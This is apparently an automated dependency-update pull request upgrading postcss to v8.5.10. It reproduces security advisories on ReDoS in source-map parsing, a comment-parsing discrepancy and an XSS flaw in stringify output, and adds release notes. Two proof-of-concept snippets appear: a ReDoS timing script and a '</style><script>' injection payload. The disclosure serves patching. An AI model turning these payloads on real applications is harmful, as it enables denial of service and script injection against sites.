chore(deps): update dependency postcss to v8.5.10 [security] - #556

Details

The npm package postcss from 7.0.0 and before versions 7.0.36 and 8.2.10 is vulnerable to Regular Expression Denial of Service (ReDoS) during source map parsing.

Severity

• CVSS Score: 5.3 / 10 (Medium)
• Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

References

• https://nvd.nist.gov/vuln/detail/CVE-2021-23368
• https://github.com/postcss/postcss/commit/8682b1e4e328432ba692bed52326e84439cec9e4
• https://github.com/postcss/postcss/commit/b6f3e4d5a8d7504d553267f80384373af3a3dec5
• https://lists.apache.org/thread.html/r00158f5d770d75d0655c5eef1bdbc6150531606c8f8bcb778f0627be@%3Cdev.myfaces.apache.org%3E
• https://lists.apache.org/thread.html/r16e295b4f02d81b79981237d602cb0b9e59709bafaa73ac98be7cef1@​%3Cdev.myfaces.apache.org%3E
• https://lists.apache.org/thread.html/r49afb49b38748897211b1f89c3a64dc27f9049474322b05715695aab@%3Cdev.myfaces.apache.org%3E
• https://lists.apache.org/thread.html/r5acd89f3827ad9a9cad6d24ed93e377f7114867cd98cfba616c6e013@​%3Ccommits.myfaces.apache.org%3E
• https://lists.apache.org/thread.html/r8def971a66cf3e375178fbee752e1b04a812a047cc478ad292007e33@​%3Cdev.myfaces.apache.org%3E
• https://lists.apache.org/thread.html/rad5af2044afb51668b1008b389ac815a28ecea9eb75ae2cab5a00ebb@%3Ccommits.myfaces.apache.org%3E
• https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1244795
• https://snyk.io/vuln/SNYK-JS-POSTCSS-1090595
• https://github.com/postcss/postcss/commit/54cbf3c4847eb0fb1501b9d2337465439e849734
• https://github.com/advisories/GHSA-hwj9-h5mp-3pm3

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Details

The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern

\/\*\s* sourceMappingURL=(.*)

PoC

var postcss = require("postcss")
function build_attack(n) {
    var ret = "a{}"
    for (var i = 0; i < n; i++) {
        ret += "/*# sourceMappingURL="
    }
    return ret + "!";
}

postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
    if (i % 1000 == 0) {
        var time = Date.now();
        var attack_str = build_attack(i) try {
            postcss.parse(attack_str) var time_cost = Date.now() - time;
            console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
        } catch (e) {
            var time_cost = Date.now() - time;
            console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
        }
    }
}

Severity

• CVSS Score: 5.3 / 10 (Medium)
• Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

References

• https://nvd.nist.gov/vuln/detail/CVE-2021-23382
• https://github.com/postcss/postcss/commit/2b1d04c867995e55124e0a165b7c6622c1735956
• https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1255641
• https://snyk.io/vuln/SNYK-JS-POSTCSS-1255640
• https://github.com/postcss/postcss/releases/tag/7.0.36
• https://github.com/advisories/GHSA-566m-qj78-rww5

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Details

An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.

This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.

Severity

• CVSS Score: 5.3 / 10 (Medium)
• Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

References

• https://nvd.nist.gov/vuln/detail/CVE-2023-44270
• https://github.com/postcss/postcss/commit/58cc860b4c1707510c9cd1bc1fa30b423a9ad6c5
• https://github.com/postcss/postcss/blob/main/lib/tokenize.js#L25
• https://github.com/postcss/postcss/releases/tag/8.4.31
• https://github.com/github/advisory-database/issues/2820
• https://lists.debian.org/debian-lts-announce/2024/12/msg00025.html
• https://github.com/advisories/GHSA-7fh5-64p2-3v2j

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Details

PostCSS: XSS via Unescaped </style> in CSS Stringify Output

Summary

PostCSS v8.5.5 (latest) does not escape </style> sequences when stringifying CSS ASTs. When user-submitted CSS is parsed and re-stringified for embedding in HTML <style> tags, </style> in CSS values breaks out of the style context, enabling XSS.

Proof of Concept

const postcss = require('postcss');

// Parse user CSS and re-stringify for page embedding
const userCSS = 'body { content: "</style><script>alert(1)</script><style>"; }';
const ast = postcss.parse(userCSS);
const output = ast.toResult().css;
const html = `<style>${output}</style>`;

console.log(html);
// <style>body { content: "</style><script>alert(1)</script><style>"; }</style>
//
// Browser: </style> closes the style tag, <script> executes

Tested output (Node.js v22, postcss v8.5.5):

Input: body { content: "</style><script>alert(1)</script><style>"; }
Output: body { content: "</style><script>alert(1)</script><style>"; }
Contains </style>: true

Impact

Impact non-bundler use cases since bundlers for XSS on their own. Requires some PostCSS plugin to have malware code, which can inject XSS to website.

Suggested Fix

Escape </style in all stringified output values:

output = output.replace(/<\/(style)/gi, '<\\/$1');

Credits

Discovered and reported by Sunil Kumar (@​TharVid)

Severity

• CVSS Score: 6.1 / 10 (Medium)
• Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

References

• https://github.com/postcss/postcss/security/advisories/GHSA-qx2v-qp2m-jg93
• https://nvd.nist.gov/vuln/detail/CVE-2026-41305
• https://github.com/postcss/postcss/releases/tag/8.5.10
• https://github.com/advisories/GHSA-qx2v-qp2m-jg93

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

v8.5.10

Compare Source

• Fixed XSS via unescaped </style> in non-bundler cases (by @​TharVid).

v8.5.9

Compare Source

• Speed up source map encoding paring in case of the error.

v8.5.8

Compare Source

• Fixed Processor#version.

v8.5.7

Compare Source

• Improved source map annotation cleaning performance (by CodeAnt AI).